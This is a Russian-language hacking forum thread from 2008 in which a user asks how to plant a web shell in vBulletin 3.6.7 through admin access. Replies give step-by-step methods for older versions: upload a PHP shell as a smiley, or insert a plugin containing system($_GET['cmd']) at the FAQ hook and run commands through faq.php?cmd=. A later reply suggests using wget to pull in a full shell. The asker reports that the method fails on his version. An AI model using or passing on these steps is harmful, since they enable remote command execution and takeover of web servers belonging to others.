ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как Залить шелл в Vbulletin 3.6.7?
  #1  
Старый 03.10.2008, 21:14
Аватар для jason-z
jason-z
Новичок
Регистрация: 03.10.2008
Сообщений: 8
Провел на форуме:
10219

Репутация: 0
Lightbulb Как Залить шелл в Vbulletin 3.6.7?

собсно, сабж.
 
Ответить с цитированием

  #2  
Старый 03.10.2008, 21:19
Аватар для .AkeLLa
.AkeLLa
Banned
Регистрация: 30.08.2008
Сообщений: 477
Провел на форуме:
3989114

Репутация: 718
По умолчанию

Берешь булку, отгрызаешь кусок, передовываешь, глотаешь. Хек!
 
Ответить с цитированием

  #3  
Старый 03.10.2008, 22:26
Аватар для jason-z
jason-z
Новичок
Регистрация: 03.10.2008
Сообщений: 8
Провел на форуме:
10219

Репутация: 0
По умолчанию

Цитата:
Сообщение от .AkeLLa  
Берешь булку, отгрызаешь кусок, передовываешь, глотаешь. Хек!
Это подходит, но у меня есть доступ в админку
 
Ответить с цитированием

  #4  
Старый 04.10.2008, 12:02
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

vBulletin 2.*.* & 3.0.*

1. Заходим в админку.
2. Смайлы.
3. Загрузить смайл.
4. Грузим наш шелл. (папка по умолчанию /images/smilies)
5. Заходим www.xz.сom/forumpath/images/smilies/shell.php
Примечание: сработает не везде.



vBulletin 3.5.*.

1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

(c) ettee

Последний раз редактировалось ~!DoK_tOR!~; 04.10.2008 в 17:02..
 
Ответить с цитированием

  #5  
Старый 04.10.2008, 14:35
Аватар для ultimatum
ultimatum
Участник форума
Регистрация: 28.04.2007
Сообщений: 239
Провел на форуме:
2140476

Репутация: 161
Отправить сообщение для ultimatum с помощью ICQ
По умолчанию

У админов разные права , если ты даже админ на булке , это не говорит о том что ты имеешь права менять шаблоны или продукты.
 
Ответить с цитированием

  #6  
Старый 04.10.2008, 15:15
Аватар для Дюша
Дюша
Banned
Регистрация: 09.12.2007
Сообщений: 301
Провел на форуме:
1796349

Репутация: 174
По умолчанию

Цитата:
Сообщение от ~!DoK_tOR!~  
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

в версии 3.6.7 не пробывал возможно сработает .
ога и + wget + народ + расширение пхп
 
Ответить с цитированием

  #7  
Старый 04.10.2008, 21:20
Аватар для jason-z
jason-z
Новичок
Регистрация: 03.10.2008
Сообщений: 8
Провел на форуме:
10219

Репутация: 0
По умолчанию

Цитата:
Сообщение от ~!DoK_tOR!~

vBulletin 3.5.*.

1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"
 
);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда

(c) ettee
модуль сохранился, но при заходе на "forumpath/faq.php?cmd=тут команда" открывается окно с поиском по справке и все (
 
Ответить с цитированием

  #8  
Старый 04.10.2008, 21:22
Аватар для jason-z
jason-z
Новичок
Регистрация: 03.10.2008
Сообщений: 8
Провел на форуме:
10219

Репутация: 0
По умолчанию

Цитата:
Сообщение от Дюша  
ога и + wget + народ + расширение пхп
Дюша, а что это значит?
 
Ответить с цитированием

  #9  
Старый 04.10.2008, 21:26
Аватар для Дюша
Дюша
Banned
Регистрация: 09.12.2007
Сообщений: 301
Провел на форуме:
1796349

Репутация: 174
По умолчанию

1 ступень готова т.е...
vBulletin 3.5.*.

Цитата:
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"
);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
дальше лей шелл командами
 
Ответить с цитированием

  #10  
Старый 06.10.2008, 18:06
Аватар для jason-z
jason-z
Новичок
Регистрация: 03.10.2008
Сообщений: 8
Провел на форуме:
10219

Репутация: 0
По умолчанию

Цитата:
Сообщение от Дюша  
1 ступень готова т.е...
vBulletin 3.5.*.


дальше лей шелл командами
Не канает.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как можно залить шелл в phpbb 2.0.17? cardons Форумы 7 22.12.2005 16:45
Как залить шелл в Ipb, имея полноценный доступ к админке? chip Форумы 19 04.04.2005 11:19
Как залить шелл через PhPBB SheFF Форумы 5 29.11.2004 01:25
Как залить шелл через IPB форум, при отсутствии ftp? bbmz Форумы 1 26.11.2004 18:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ